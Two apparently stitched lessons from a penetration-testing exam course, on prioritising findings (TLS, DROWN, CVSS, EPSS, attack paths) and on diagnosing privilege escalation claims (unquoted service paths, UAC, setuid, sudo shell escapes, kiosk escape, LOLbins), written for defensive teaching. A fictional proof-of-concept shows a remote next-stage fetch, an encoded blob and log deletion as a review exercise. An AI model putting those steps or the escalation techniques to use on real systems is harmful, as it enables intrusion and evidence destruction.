Weak encryption is rarely a first move, but it is often a finding. A TLS cipher suite name is a list of parts:

The same guidance forbids negotiating SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1 and RC4, and requires at least 2048 bits for classic Diffie-Hellman (DH) groups. Check the public key infrastructure (PKI) too, meaning the certificates and the authorities behind them: SHA-1 signatures, expired or self-signed certificates, one certificate reused across hosts. Nmap's ssl-enum-ciphers lists what a server accepts. Here is sample output for the fictional PAYWEB, trimmed:

443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|_  least strength: C

Notice the trap: an A beside a TLS_RSA suite under TLSv1.0. The grade weighs key exchange and cipher strength, not the hash or the protocol version, so read the version lines yourself. The script is also in Nmap's intrusive category because it opens many connections, so check the ROE.

Now F3. DROWN, Decrypting RSA with Obsolete and Weakened eNcryption (CVE-2016-0800), showed in March 2016 that merely supporting SSLv2 can endanger modern TLS on another machine. An attacker records several hundred TLS sessions that used RSA key exchange, then sends crafted probes to any SSLv2 server holding the same private key, and its replies leak enough to decrypt a session.

In the researchers' general case, roughly 40,000 probes and about 2⁵⁰ computations decrypted one of 900 sessions, for about $440 of cloud time. So MAIL02's SSLv2 threatens PAYWEB, because both use one certificate. Defenders may see a burst of SSLv2 handshakes on the relay, if anything logs them.

The fix: disable SSLv2 everywhere, stop sharing keys between services, and prefer ECDHE. CVSS gives it 5.9 because attack complexity is high.

To prove the precondition, compare each host's ssl-cert output and run sslv2, both in the safe category. Try this in your lab: sudo nmap --script sslv2,ssl-cert -p 25 192.168.56.102. Published scans of Metasploitable 2 lead you to expect SSLv2 supported above a list of old ciphers.

Step 4: Put the list in order

Apply five questions in this order, with severity as the tie-breaker.

1. Is it in scope, and can you reach it from your test position?
2. Is it on a route to a high-value asset?
3. Is there evidence of real-world attack: KEV, or a high EPSS?
4. What does the ROE let you do there, and can you prove it safely?
5. Only now: how severe, and how long will it take?

Testing order is not severity order. All six go in the report, and F1 and F2 get a same-day note to the client, because a KEV-listed flaw should not wait until Friday. Put F1 first and you skipped question 1.

Worth holding on to: scores rank flaws for the whole world, and your job is to rank them for one client's goal, from one position, under one set of rules. A low-scored finding on the route beats a high-scored one you cannot reach.

Step 5: Choose the tools and the exploit, and read the code first

Tool selection: pick the least intrusive tool that answers the plan's question.

Exploit selection comes after Lesson 12's check that a public exploit matches the target. Now ask three more things. Does a safe check prove the point without it? What does it leave behind: files, accounts, a crashed service? And how reliable is it? Metasploit's ranks run from Excellent ("will never crash the service") through Great, Good, Normal and Average to Low and Manual. Its module for CVE-2017-0144 is ranked Average: generally unreliable or difficult, succeeding at least half the time on common platforms. On an unsupported HR server, that settles it.

Customization means changing a public exploit so it does only what you are allowed to do. That can mean pointing it at the approved address, removing a destructive step, or replacing its final action with a harmless proof the client agreed to, such as a marker file. Record every change.

Code analysis comes first: you read every line before anything runs. A study of 47,285 GitHub repositories of proof-of-concept exploits found indicators of malicious intent in 899, or 1.9 percent, such as calls to malicious addresses and encoded malicious code. This fictional file does nothing and names no real flaw. Find the problems before reading on.

# poc.py : fictional, for review practice only
TARGET  = "203.0.113.40"          # hard-coded address
UPDATES = "files.example.net"     # a host nobody on your team controls
BLOB    = "[long encoded string removed]"

def run(target):
    stage = decode(BLOB)          # what does this do? you cannot tell yet
    send(target, stage)
    fetch(UPDATES, "next_stage")  # pulls and runs more code from elsewhere
    delete_logs(target)           # destroys the client's evidence
    restart_service(target)       # an outage, and the ROE forbids it

The hard-coded target could hit someone else's system, which is how a careless run becomes a crime. The blob must be decoded and understood. The remote fetch runs unknown code inside your client's network. The last two steps come out: they harm the client and destroy evidence. Then try your edited copy on an isolated copy of the target, and keep the file and its sha256sum with your evidence.

Step 6: Write it down: attack path, low-level diagram, storyboard

The attack path is the route. Here is Lesson 8's map, now in priority order with a stop condition on every link. Every row is still a question.

A low-level diagram shows the actual hosts, addresses, ports, VLANs, rules and labels, where a high-level one shows only zones such as "office" and "finance". Draw it from your scans and the client's firewall export.

VLAN 99 office   tester 10.20.99.50
       |
core-fw 10.20.99.1
  99 -> 10   tcp/53,88,389,445        10 -> 30   tcp/1433
  99 -> 20   tcp/25,80,443            99 -> 30   deny
  99 -> 60   deny
       |
VLAN 10 servers                       VLAN 20 services (no monitoring)
  FS01      .25  445                    PRINT03  .9   80,443
  DC01      .5   53,88,389,445 [HIGH]   MAIL02   .12  25
  HR-APP02  .40  445 [SENSITIVE] [EOL]  PAYWEB   .30  443 via WAF

VLAN 30 finance                       VLAN 60 QA
  PAY-DB01  .15  1433 [SENSITIVE] [HIGH]  qa-sandbox-07  .7  8080

This one drawing explains why PAY-DB01 cannot be reached directly, why F1 is out of reach, and why link 3 needs a position in VLAN 10.

The storyboard is the sequence in time. The objectives list the word without defining it, and no standard does. So take this working sense: an ordered plan of what happens when, what evidence you expect, what aborts each step, and who hears about it.

Step 7: Check dependencies, scope limitations and labels

Dependencies are what must be true before a step can run, and what breaks if it goes wrong. Sequence: F6 needs F4. Position: link 3 needs a host in VLAN 10. Permission: a signed test case. People: the SOC lead must be reachable. Tools: a public exploit may need an old interpreter. And look outward: if HR-APP02 restarts, what else stops?

Scope limitations shape the plan as much as flaws do. Lesson 4's boundaries apply to every step: addresses, window, excluded test types, limits on data, and who owns the system. When a top target turns out to belong to someone else, you never test it gently. You stop and get written permission from whoever has authority.

Labeling sensitive systems makes those limits hard to miss when you are tired at 4 p.m. A label says what a system is and what you may do there, such as SENSITIVE (verification only), HIGH VALUE, EOL or FRAGILE. Put labels on the diagram and storyboard, and enforce them in tool configuration. Try this in your lab, where 192.168.56.1 is your own host computer:

echo 192.168.56.1 > do-not-touch.txt
sudo nmap -sn --excludefile do-not-touch.txt 192.168.56.0/24

Your host should vanish from the results.

The second run: one email reverses the order

Tuesday, 08:40. The client's IT manager writes that a hosting company runs FS01 under a separate contract. Your authorization covers systems owned and run by Tallis. The flaw has not changed: same 5.3, no CVE. The plan changes completely.

• Stop testing FS01 now. Tell the client through the escalation path that you listed and browsed that share on Monday. They need to know, and may have to tell the provider.
• F4 and F6 become blocked, pending written permission from the party with authority. Record them as limitations, not as "secure".
• The printer moves to first. The new order is F5, F2, F3, F1, with F4 and F6 returning only if permission arrives.

Other single facts move the plan too, so keep the reasoning and not just the list:

Exam cues: which label, which document, which pairs people confuse

How the plan and its scores are reported

Lesson 5 said modern reports usually score findings with CVSS. Publish the score and vector together, as FIRST requires, with the version. Keep apart the base score, any environmental adjustment, and your overall rating with its reasons. EPSS and KEV appear as dated context, never as the severity. Here is F4 as a finding:

• Title: Anonymous read access to the Deploy share on FS01 exposes a service account's configuration.
• Severity: High overall. CVSS 3.1 base 5.3 Medium, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N; with Confidentiality Requirement High the environmental score is 6.1, still Medium. Rated above its score because it is the first link toward payroll data and needs no account. Not Critical, because the credential was not used and the route was not proven under the ROE.
• Evidence: anonymous listing from 10.20.99.50 on the stated date, with file names and the key name svc_report; value not recorded.
• Root cause: the share grants read to anonymous users, and deployment files keep credentials on it.
• Remediation: remove anonymous access, change svc_report's password, move secrets to a vault, and confirm that an anonymous listing now fails.

Lesson 8 rated its NFS export High by judgment, and scoring formalizes that: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N is 7.5, High, and proven write access would make it 9.1, which is why Lesson 8 recorded write as untested. The attack path becomes the report's attack narrative, and the storyboard's times let the client match your actions to its logs (Lesson 28).

Common misconceptions

• "The highest CVSS goes first." Base scores measure severity in principle. A 10.0 you cannot reach loses to a 5.3 on the route.
• "An EPSS of 0.10 is low." It is a 10 percent estimate that ranks near the 96th percentile.
• "No CVE means no problem." Default passwords and open shares usually have no CVE and are often the best targets.
• "An A from ssl-enum-ciphers means the encryption is fine." The grade ignores protocol version and hash.

What to carry forward

• CVE names one flaw (CVE, year, four or more digits); CWE names the class of mistake; a misconfiguration usually has a CWE and no CVE.
• CVSS bands: Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0. Version 4.0 has Base, Threat, Environmental and Supplemental groups and labels CVSS-B, BT, BE and BTE; version 3.1 has Base, Temporal and Environmental.
• AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H is 9.8; the same flaw is CVSS-B 9.3 in version 4.0. Base scores measure severity, not risk.
• EPSS estimates the probability of observed exploitation in the next 30 days; the percentile is only a rank; version 5 began on 15 June 2026; FIRST sets no bands. KEV records confirmed exploitation and takes precedence.
• Rank by scope and reachability, route to a high-value asset, evidence of attack, what the ROE allows, and only then severity. Everything still goes in the report.
• End-of-life means no more fixes (Windows Server 2012's paid updates ended 13 October 2026). Default configurations top the NSA and CISA list of misconfigurations.
• TLS_RSA suites lack forward secrecy and ECDHE provides it; GCM authenticates as it encrypts; SSL 2.0 through TLS 1.1 must not be negotiated. DROWN needs SSLv2 on any server sharing the key.
• Choose the least intrusive tool that answers the question; check an exploit's reliability; read and edit its code before it runs.
• Attack path is the route, low-level diagram the hosts, ports and rules, storyboard the timed sequence with abort conditions. A dependency, scope limitation or label can reverse the plan.

Sources

1. Forum of Incident Response and Security Teams. (2023-2026). CVSS version 4.0: Specification document (document version 1.2), User guide and FAQ; CVSS version 3.1: Specification document; v4.0 calculator source. first.org/cvss
2. FIRST EPSS Special Interest Group. (2026). EPSS: How it works; Using EPSS; FAQ; Get the data (model v2026.06.15). Data read 3 November 2026. first.org/epss
3. National Institute of Standards and Technology. (2026, April 15). NIST updates NVD operations to address record CVE growth; and NVD records for the CVEs named here, read 3 November 2026. nist.gov
4. Cybersecurity and Infrastructure Security Agency. (2026). Binding Operational Directive 26-04 and its implementation guidance; Known Exploited Vulnerabilities catalog (version 2026.11.03). cisa.gov
5. National Security Agency and Cybersecurity and Infrastructure Security Agency. (2023, October 5). Top ten cybersecurity misconfigurations (AA23-278A). cisa.gov
6. MITRE Corporation. (n.d.). About CWE; CWE-732; CWE-1392; 2025 CWE Top 25. Top 25. CVE Program. (n.d.). Overview. cve.org
7. Sheffer, Y., Saint-Andre, P., and Fossati, T. (2022). Recommendations for secure use of TLS and DTLS (RFC 9325). rfc-editor.org
8. Aviram, N., et al. (2016). The DROWN attack (technical summary and Q&A). drownattack.com
9. El Yadmani, S., The, R., and Gadyatskaya, O. (2023). Beyond the surface: Investigating malicious CVE proof of concept exploits on GitHub (arXiv:2210.08374v2). arxiv.org
10. Lyon, G. (n.d.). Nmap reference guide and NSE documentation for ssl-enum-ciphers, sslv2, sslv2-drown, ssl-cert and smb-vuln-ms17-010. ssl-enum-ciphers
11. Rapid7. (n.d.). Exploit ranking, in Metasploit documentation. docs.metasploit.com
12. Microsoft. (2026). Overview of Extended Security Updates for Windows Server 2012 and 2012 R2. learn.microsoft.com

The draft finding that called an unquoted path Critical

At 16:40 on a Thursday, a junior tester at a fictional firm pastes this evidence from a client's workstation into a draft report and rates it Critical, with the note "any user can get SYSTEM".

C:\> sc qc AcmeBackupAgent
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AcmeBackupAgent
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Acme Backup\Agent Service\agent.exe -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Acme Backup Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

The path has spaces and no quotation marks, and a vulnerability scanner flagged it too. The rating is still wrong, and working out why teaches most of the exam's host-based attacks. Privilege escalation means gaining rights beyond the ones you were given: vertically, from a standard user to an administrator, SYSTEM or root, or horizontally, from one user to another at the same level. It rarely comes from one bad setting. It comes from a chain, so a tester who spots one link and reports the whole chain has made an error. Put every candidate through three questions.

1. What runs with more privilege than I have?
2. What does it trust that I can change?
3. What makes it run again, and can I cause that?

If any answer is "nothing", you have a weakness to note, not a path upward. This lesson takes six plausible wrong answers and traces where each one breaks. Container escape waits for Lesson 19.

Exam objectives: 4.4 (privilege escalation, misconfigured endpoints, user-controlled access bypass, shell escape, kiosk escape, unquoted service path injection; Seatbelt, PowerShell and the PowerShell Integrated Scripting Environment (ISE), living off the land binaries (LOLbins)). Lesson 16 covers the rest of 4.4.

Before you run anything: what read-only means here

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The only commands this lesson asks you to try are read-only checks on your own Metasploitable VM from Lesson 2. All other evidence below is fictional.

On a client engagement, proof of escalation changes a live system: a hijacked service may fail to start, and a flawed kernel may crash. The rules of engagement (ROE) decide whether you may demonstrate or must stop at evidence, and most findings here can be written with no write at all.

Wrong answer 1: "An unquoted service path gives you SYSTEM"

Start with the flaw itself. A service's path is stored as one string. When that string has spaces and no quotation marks, Windows cannot tell where the file name ends, so it tries each possibility in turn. Microsoft's CreateProcess documentation lists this behavior and warns that a different program could run as a result. For the draft's service, the order is:

The last line of the evidence answers question 1: SERVICE_START_NAME : LocalSystem, the most powerful local account. Question 2 is where the draft fails. The path matters only if this user can write to one of those folders, so read the permissions. (Sample output, trimmed.)

C:\> icacls C:\
C:\ BUILTIN\Administrators:(OI)(CI)(F)
    NT AUTHORITY\SYSTEM:(OI)(CI)(F)
    BUILTIN\Users:(OI)(CI)(RX)
    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
    NT AUTHORITY\Authenticated Users:(AD)

C:\> icacls "C:\Program Files"
C:\Program Files NT SERVICE\TrustedInstaller:(F)
                 NT AUTHORITY\SYSTEM:(M)
                 BUILTIN\Administrators:(M)
                 BUILTIN\Users:(RX)

C:\> icacls C:\Apps
C:\Apps BUILTIN\Administrators:(I)(OI)(CI)(F)
        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
        BUILTIN\Users:(I)(OI)(CI)(RX)
        NT AUTHORITY\Authenticated Users:(I)(M)
        NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

In icacls output, F is full control, M is modify, RX is read and execute, and AD is "append data/add subdirectory". I marks an inherited entry, OI and CI pass an entry down to files and subfolders, and IO means it applies only to what is created inside, not to the folder itself. So an ordinary user can create folders in C:\ but not files, and can only read and run things in C:\Program Files. No candidate is writable, which makes the draft's service a hardening note.

The third listing shows how that flips. A folder made directly under C:\ inherits the root's Modify entry, so by default any signed-in user can add files to C:\Apps. Applications installed outside Program Files are where to look first.

Worked example: four services, one standard user, one real path

This is the shape a performance-based question takes. You hold a standard account on a fictional client's workstation, the ROE allow read-only checks, and you must say which services give you a path upward. List the candidates first. This query only reads, and a tester would run it on an in-scope Windows host.

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } |
  Select-Object Name, StartName, StartMode, PathName

With the three icacls listings in front of you, the reasoning runs like this.

Now change one input. Move FleetSync to a member server. Microsoft's defaults give the "Shut down the system" right to Users on client computers but only to Administrators and Backup Operators on member servers, so a standard user there must wait for someone else's reboot. The path is still real, and the report says it depends on the next restart. If you need proof of who may start or stop a service, sc sdshow prints it in a compact format called SDDL.

The technique is ATT&CK T1574.009, and the weakness is CWE-428. Defenders can watch for an executable appearing in a parent folder of an unquoted path. They can then watch for a process starting from that location (Security event 4688 or Sysmon event 1, with Sysmon event 11 for the new file).

The fix is to quote the path in the service's configuration, stored under HKLM\SYSTEM\CurrentControlSet\Services, install under Program Files or tighten the folder's permissions, and confirm with the same two commands.

Scanner wording can mislead: Tenable's Nessus plugin 63155 says a local attacker can gain elevated privileges from such a path and does not mention folder rights. Lesson 12's validation step applies.

So what? An unquoted path is a parsing flaw. It becomes privilege escalation only with a writable candidate folder, a more privileged service account and a restart. Report what the evidence proves.

Wrong answer 2: "The UAC bypass made me an administrator"

The objectives list "user-controlled access bypass" without defining it, and UAC is not in the PDF's acronym list. This course reads the bullet as bypassing User Account Control (UAC), the Windows feature it fits most closely.

When a member of the local Administrators group signs in, Windows builds two access tokens. A standard one runs the desktop and everything started from it. A full one stays unused until the user approves an elevation prompt. A standard user has no second token, so the prompt asks for someone else's credentials. Windows also marks each process with an integrity level, and lower levels cannot modify higher ones. You can read all of this without changing anything.

C:\> whoami /groups      (user dkim, sample output, trimmed)
Group Name                             Type  SID          Attributes
====================================== ===== ============ ========================
BUILTIN\Administrators                 Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users                          Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

"Group used for deny only" means dkim belongs to Administrators but this process cannot use that membership, and the medium label confirms the standard token. Now change one input. A second user, rmoss, shows no Administrators line, with the same medium label. A UAC bypass can only help dkim, because it unlocks a token dkim already owns. For rmoss, question 1 has no answer.

Bypasses exist because, at the default setting, certain Microsoft programs elevate with no prompt. If one of them reads a setting or path from somewhere the user controls, such as the user's own part of the registry, the user can steer what it does: question 2 again. The programs change between Windows releases, and the exam does not ask you to name them. Microsoft's servicing criteria list UAC as a defense-in-depth feature with no intent to service bypasses, so the root cause to report is a daily account in the Administrators group, not a missing patch.

ATT&CK T1548.002 describes what defenders look for: changes to UAC-related registry keys (Sysmon event 13), then elevated processes without the normal parent and child lineage. Security event 4688 records each process's Token Elevation Type (%%1937 elevated, %%1938 limited) and Mandatory Label. The fixes are standard accounts for daily work, Windows LAPS (Local Administrator Password Solution) for local administrators, and a prompt set to appear every time. Administrator protection on Windows 11 goes further, with no auto-elevations and a separate temporary admin token per approved task. It ships off by default, but Microsoft's security baselines turn it on from the October 2026 security update.

Wrong answer 3: "Every setuid file is a finding"

On Linux, Setuid and setgid are permission bits. A setuid program runs with the rights of the file's owner rather than the caller's, and setgid does the same for the file's group, named by its Group Identifier (GID). ls -l shows an s where the execute x would be. The bits exist for a reason: passwd has to update a file only root may write. Linux ignores both bits on scripts, so only compiled programs count, in practice files in the Executable and Linkable Format (ELF). Question 1 therefore lives in the owner column.

Try this in your lab, at the Metasploitable console, logged in as msfadmin:

• id prints your user ID, GID and groups.
• sudo -l prints what sudo lets you run. Expect broad rights, because msfadmin is that VM's administrator account, which is why Lesson 7 could add a firewall rule.
• find / -xdev -type f -perm -4000 -ls 2>/dev/null lists setuid files. Sort the list by owner and stop there. You are not asked to run any of them.

Here is the same kind of list from a fictional server:

$ id
uid=1004(rmoss) gid=1004(rmoss) groups=1004(rmoss),33(www-data)
$ find / -xdev -type f -perm -4000 -ls 2>/dev/null
  786   60 -rwsr-xr-x 1 root   root    59976 Feb  6  2024 /usr/bin/passwd
  791  232 -rwsr-xr-x 1 root   root   232416 Apr  3  2024 /usr/bin/sudo
  802   44 -rwsr-xr-x 1 root   root    44760 Feb  6  2024 /usr/bin/chsh
 9134   20 -rwsr-xr-x 1 root   root    16424 Sep 14 02:10 /opt/reports/rpt_gen
 9140   20 -rwsr-xr-x 1 appsvc appsvc  16424 Sep 14 02:11 /opt/reports/rpt_view

The wrong answer is five findings. Work down the list instead. passwd, sudo and chsh ship with the operating system and need the bit. rpt_gen is root-owned and custom: dpkg -S finds no package that owns it, so review what it trusts, such as whether it calls other programs by bare name. rpt_view looks identical, but its owner is appsvc, so even if flawed it gives only appsvc's rights: horizontal, not vertical.

"Expected" does not mean safe, though. In January 2022, Qualys disclosed PwnKit (CVE-2021-4034), a memory corruption flaw in pkexec, a setuid-root program installed by default on every major Linux distribution, in polkit versions from 2009 onward. So compare versions with vendor advisories too. Treat kernel flaws (ATT&CK T1068) the same way: compare uname -r or the hotfix list with advisories and report the missing patch. Running a kernel exploit can crash the host, so it needs explicit approval in the ROE.

Two relatives need no setuid file. Docker's documentation warns that the docker group grants root-level privileges, so 999(docker) in id output deserves a note. File capabilities, listed by getcap -r /, hand a program part of root's power.

ATT&CK T1548.001 describes detection: chmod setting these bits, then processes whose effective user differs from the real one, especially from user-writable paths. File integrity monitoring catches new setuid files. The fixes are chmod u-s where the bit is not needed, the nosuid mount option on user-writable file systems, and patching.

Wrong answer 4: "The sudo rule allows only one program, so it is safe"

Sudo runs a permitted command as another user, usually root. Read this rule set as its author meant it: rmoss may read some logs and restart one service.

$ sudo -l
Matching Defaults entries for rmoss on app01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rmoss may run the following commands on app01:
    (root) NOPASSWD: /usr/bin/less /var/log/app/*
    (root) NOPASSWD: /usr/bin/systemctl restart app

But sudo's control ends once the program starts. Its manual says that program "is free to do whatever it pleases", including run other programs. It names shells, editors, pagers, mail and terminal programs as common sources of a Shell escape, which is a program feature that starts another command. Whatever a pager running as root starts also runs as root, outside the rule.

So question 2's answer is the allowed program's own features, and no bug is needed.

GTFOBins, a public catalog of such behavior in Unix programs, says the programs it lists are "not vulnerable per se". You need not run anything: the rule plus the catalog entry is your evidence. LOLBAS is the Windows counterpart.

Now change one input. (root) NOPASSWD: NOEXEC: /usr/bin/less /var/log/app/* asks sudo, where supported, to stop a dynamically linked program from running further commands. sudoedit /etc/app/app.conf edits a temporary copy as the user. A read-only log group needs no sudo at all. Each does the job without the escape, and those are your recommendations.

A Restricted shell fails for the same reason, and you will recognize one quickly:

rmoss@app01:~$ cd /tmp
-rbash: cd: restricted
rmoss@app01:~$ echo $PATH
/home/rmoss/bin
rmoss@app01:~$ ls /home/rmoss/bin
less  ping  vi

The Bash manual says rbash blocks cd, changing PATH, command names containing slashes and output redirection, warns that commands allowing shell escapes are "particularly vulnerable", and points to jails, zones and containers as stronger choices. The limits belong to that shell, not the account, so the evidence is the program list, and the fix is a list with no such programs, or real isolation.

Defenders get less than you might expect. Sudo logs the command it started:

Nov  3 14:02:11 app01 sudo: rmoss : TTY=pts/0 ; PWD=/home/rmoss ; USER=root ; COMMAND=/usr/bin/less /var/log/app/app.log

Whatever the pager then starts gets no line of its own unless the log_subcmds option, off by default, is set, or kernel auditing records a shell whose parent is less. ATT&CK files sudoers abuse under T1548.003.

So what? Limiting which program runs does not limit what that program can do. Judge a sudo rule or a restricted shell by the features of every allowed program.

Wrong answer 5: "A kiosk runs one app, so it can only do one thing"

An Interactive kiosk is a whole computer showing one application. Microsoft's Assigned Access makes that explicit. Its kiosk experience runs a single app full screen above the lock screen and restarts it if it closes. Its restricted user experience allows a short list of apps through policy settings and AppLocker rules.

The operating system is still underneath, so any feature that reaches past the app is a way out, which is a kiosk escape.

Microsoft's documentation says Alt+F4, Alt+Tab, Alt+Shift+Tab and Ctrl+Alt+Delete are not blocked under a restricted user experience, and that Assigned Access does not change accessibility settings, so those shortcuts need Keyboard Filter.

Here is a test from a fictional lobby check-in station, with every action listed as a test case in the ROE.

Two acronyms from the exam's list belong here. POST means power-on self-test, not the web request method. HID expands there as host-based intrusion detection, while Microsoft's device documentation uses HID for human interface device, the class that includes USB keyboards.

Now debug the severity. An escape moves you from one app to a general-purpose desktop under the same account, which is not yet vertical. Question 1 decides the rest. Run one: a local, non-admin kiosk account on an isolated network gives a Medium finding. Run two: the same escape, with automatic sign-in as a domain account in the local Administrators group on the clinical network, is High or Critical. The dialogs did not change. The account did.

Defenders should treat any process under the kiosk account other than the kiosk app as an alert: explorer.exe, cmd.exe or powershell.exe in event 4688. AppLocker logs blocks as event 8004 (EXE or DLL) and 8007 (script or MSI). ATT&CK version 20 has no technique named for kiosks; Hardware Additions (T1200) is the nearest fit for the keyboard. Microsoft does not service AppLocker bypasses by default but does service Windows Defender Application Control, now App Control for Business, so for a public kiosk recommend it, with a non-admin account and network isolation.

Wrong answer 6: "The scan was clean, so the endpoint is fine"

"Misconfigured endpoints" is another bullet the PDF names but does not define. Read a misconfigured endpoint as a workstation, laptop or server whose local settings grant more than anyone intended. Scanners mostly compare versions and known checks, and see far less without credentials, as Lesson 10 explains, so a clean scan says little about whether a particular folder is writable by a particular user. Read these settings yourself. Each one answers question 2.

The last row corrects a common belief: "it is not in Administrators, so it is low risk." A web application under Internet Information Services (IIS) runs as an application pool identity. A Common Gateway Interface (CGI) program runs as the web server's unprivileged user. So a web foothold usually lands as a service account, which can hold powerful rights outside any group.

C:\> whoami /priv      (sample output, trimmed)
Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

Microsoft says services started by the Service Control Manager receive this right through the built-in Service group, and warns that an unauthorized holder could raise its access by getting a client to connect. Event 4672 lists it at logon. Treat a foothold with this right as one privileged client connection away from more.

Three ways to collect the evidence: GhostPack's survey tool, PowerShell and LOLbins

Seatbelt is a C# host survey from GhostPack, whose "safety checks" serve attackers and defenders alike. PowerShell is Microsoft's shell and scripting language, and the ISE is its graphical host for writing and debugging scripts. LOLbins are signed programs already on the system that can do more than their stated job. The ROE usually decide which you may use.

Seatbelt's sections cover UAC policy, LAPS, AppLocker, antivirus, audit settings, hotfixes, services and token privileges, as text or JSON. Some checks read user data such as browser details, so scope what you run. A fictional excerpt, in the tool's format:

====== UAC ======

  ConsentPromptBehaviorAdmin     : 5 - PromptForNonWindowsBinaries
  EnableLUA (Is UAC enabled?)    : 1

PowerShell comes with two wrong beliefs attached. The first is that the execution policy protects the host: Microsoft says it "isn't a security boundary", so never report it as a control. What does constrain PowerShell is application control, under which it runs automatically in ConstrainedLanguage mode.

The second is that its activity is invisible: with script block logging on, it records every script block it processes as event 4104.

The ISE is still on the exam, so know its status. Microsoft has stopped feature development and services it for security fixes. It gives the ISE no support in PowerShell 6 and later, and points people to Visual Studio Code. Left reachable on a locked-down host, it is a full script editor and runner.

Living off the land binaries, the exam's LOLbins, meet the LOLBAS project's criteria: Microsoft-signed, native or from Microsoft, with useful "unexpected" functionality. In February 2024, CISA, the NSA and the FBI called living off the land a hallmark of the Volt Typhoon actors. These actors kept access in some networks for at least five years, partly by avoiding malware that would raise alerts. A signature cannot help when the file is genuine, so defenders read context, as in this fictional event:

EventID 4688: A new process has been created.
  New Process Name:     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  Token Elevation Type: %%1938
  Mandatory Label:      Mandatory Label\Medium Mandatory Level
  Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

The file is Microsoft's, but a word processor has no reason to start a build tool. That lineage is the signal (ATT&CK T1127.001 and T1218). Command-line detail helps too, though that field stays empty until a policy turns it on. Microsoft publishes a list of signed programs to block under App Control, including msbuild.exe, mshta.exe and wmic.exe. Lesson 24 goes through the exam's named LOLBins.

The whole family at a glance

Exam cues: what the stem says, and the pairs people confuse

How a privilege escalation finding is reported

Here is FleetSync, written as you would for a client. Nothing was written to the host.

• Title: Unquoted service path in a user-writable folder lets a standard user run code as LocalSystem on FIN-WS14.
• Severity: High, CVSS 3.1 base 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). It needs a local account and only a reboot, which standard users may perform on this workstation. Not rated Critical because it requires a foothold on this host, and it was not demonstrated, per the ROE.
• Evidence: sc qc FleetSync shows BINARY_PATH_NAME : C:\Apps\Fleet Sync\sync.exe and SERVICE_START_NAME : LocalSystem. icacls C:\Apps shows NT AUTHORITY\Authenticated Users:(I)(M). whoami /groups confirms a standard account. No file was created and no service restarted.
• Root cause: the vendor's installer registers the path without quotation marks and defaults to a folder under C:\, which inherits Modify for Authenticated Users (CWE-428, ATT&CK T1574.009).
• Remediation: quote the path; move the application under Program Files or remove the inherited write entry; ask the vendor to fix the installer; search the fleet with the listing query. Retest with the same two commands.

As starting judgments that context can change: an unquoted path with no writable folder is Low. A UAC bypass by an existing administrator is Medium at most, reported against the over-privileged account. A sudo rule on an escape-capable program is High for the accounts it names. A kiosk escape takes its severity from the account and network behind it. A missing patch takes its severity from the advisory, with "not exploited, per ROE" stated plainly.

Common misconceptions

• "An unquoted path always means SYSTEM." It needs a writable candidate folder, a more privileged service account and a restart.
• "A UAC bypass makes a standard user an administrator." It unlocks a token the user already has. A standard user has none.
• "A restricted shell or a one-program sudo rule contains the user." Any allowed program that can start a command defeats it.
• "PowerShell's execution policy stops scripts." Microsoft says it is not a security boundary. Application control is the real constraint.

Recap

• Test every candidate with three questions: what runs with more privilege, what does it trust that I can change, and what makes it run again?
• For an unquoted path, Windows tries each space-delimited prefix plus .exe, so read sc qc for the account and icacls for each candidate folder. A folder made directly under C:\ inherits Modify for Authenticated Users.
• "Group used for deny only" plus a medium label marks an administrator on a standard token, the only user a UAC bypass can help. Microsoft does not service UAC bypasses.
• Setuid runs a program with its owner's rights, so read the owner column first; Linux ignores the bit on scripts; a standard program can still need a patch, as PwnKit showed.
• Sudo's control ends when the program starts, so pagers and editors in a rule allow shell escapes; recommend sudoedit or NOEXEC.
• A kiosk escape reaches a general-purpose desktop under the same account, so the kiosk account and network set its severity.
• Seatbelt needs a build and leaves a new executable; PowerShell needs nothing but can log to event 4104; LOLbins are signed, so defenders read lineage in event 4688.
• Report the chain you proved, state what you did not do, and fix the root cause.

Sources

1. MITRE. (2026). MITRE ATT&CK Enterprise, version 20 (the techniques named in this lesson). T1574.009; T1548.002. MITRE. (n.d.). CWE-428: Unquoted search path or element. cwe.mitre.org
2. Microsoft. (n.d.). CreateProcessA function (security remarks); icacls; 4688: A new process has been created; 4672: Special privileges assigned to new logon; Impersonate a client after authentication; Shut down the system; AlwaysInstallElevated; Windows LAPS overview; Application pool identities. CreateProcessA; event 4688
3. Microsoft. (n.d.). How User Account Control works; Administrator protection; Microsoft security servicing criteria for Windows. Administrator protection; servicing criteria
